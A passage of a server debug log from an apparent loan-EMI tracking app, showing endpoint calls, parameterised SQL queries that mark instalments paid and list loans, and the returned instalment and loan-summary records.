    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-02-25T12:41:22.905Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:41:22.906Z server-connect:app Executing action step identify
2026-02-25T12:41:22.906Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:22.906Z server-connect:output identity: 1
2026-02-25T12:41:22.906Z server-connect:app Executing action step restrict
2026-02-25T12:41:22.906Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:22.906Z server-connect:output restrict: undefined
2026-02-25T12:41:22.906Z server-connect:app Executing action step update
2026-02-25T12:41:22.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:41:22.907Z server-connect:output update: { affected: 1 }
2026-02-25T12:41:23.272Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:41:23.273Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:41:23.273Z server-connect:app Executing action step identify
2026-02-25T12:41:23.273Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:23.273Z server-connect:output identity: 1
2026-02-25T12:41:23.273Z server-connect:app Executing action step restrict
2026-02-25T12:41:23.273Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:23.274Z server-connect:output restrict: undefined
2026-02-25T12:41:23.274Z server-connect:app Executing action step custom
2026-02-25T12:41:23.274Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:41:23.274Z server-connect:app Executing action step identify
2026-02-25T12:41:23.274Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:23.274Z server-connect:output identity: 1
2026-02-25T12:41:23.274Z server-connect:app Executing action step restrict
2026-02-25T12:41:23.274Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:23.275Z server-connect:output restrict: undefined
2026-02-25T12:41:23.275Z server-connect:app Executing action step select
2026-02-25T12:41:23.275Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:41:23.275Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '12',
    total_remaining_amount: 264372,
    total_paid_amount: 793116,
    percentage_paid: '75.00'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '8',
    total_remaining_amount: 42688,
    total_paid_amount: 149408,
    percentage_paid: '77.78'
  }
]
2026-02-25T12:41:23.277Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-02-25T12:41:30.544Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:41:30.544Z server-connect:app Executing action step identify
2026-02-25T12:41:30.544Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:30.544Z server-connect:output identity: 1
2026-02-25T12:41:30.544Z server-connect:app Executing action step restrict
2026-02-25T12:41:30.544Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:30.545Z server-connect:output restrict: undefined
2026-02-25T12:41:30.545Z server-connect:app Executing action step update
2026-02-25T12:41:30.545Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:41:30.546Z server-connect:output update: { affected: 1 }
2026-02-25T12:41:30.821Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:41:30.821Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:41:30.821Z server-connect:app Executing action step identify
2026-02-25T12:41:30.821Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:30.821Z server-connect:output identity: 1
2026-02-25T12:41:30.821Z server-connect:app Executing action step restrict
2026-02-25T12:41:30.822Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:30.822Z server-connect:app Executing action step identify
2026-02-25T12:41:30.822Z server-connect:app options: { provider: 'security' }
2026-02-25T12:41:30.822Z server-connect:output identity: 1
2026-02-25T12:41:30.822Z server-connect:app Executing action step restrict
2026-02-25T12:41:30.822Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:41:30.823Z server-connect:output restrict: undefined
2026-02-25T12:41:30.823Z server-connect:app Executing action step select
2026-02-25T12:41:30.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:41:30.824Z server-connect:output restrict: undefined
2026-02-25T12:41:30.824Z server-connect:app Executing action step custom
2026-02-25T12:41:30.824Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:41:30.824Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-02-25T12:41:30.825Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
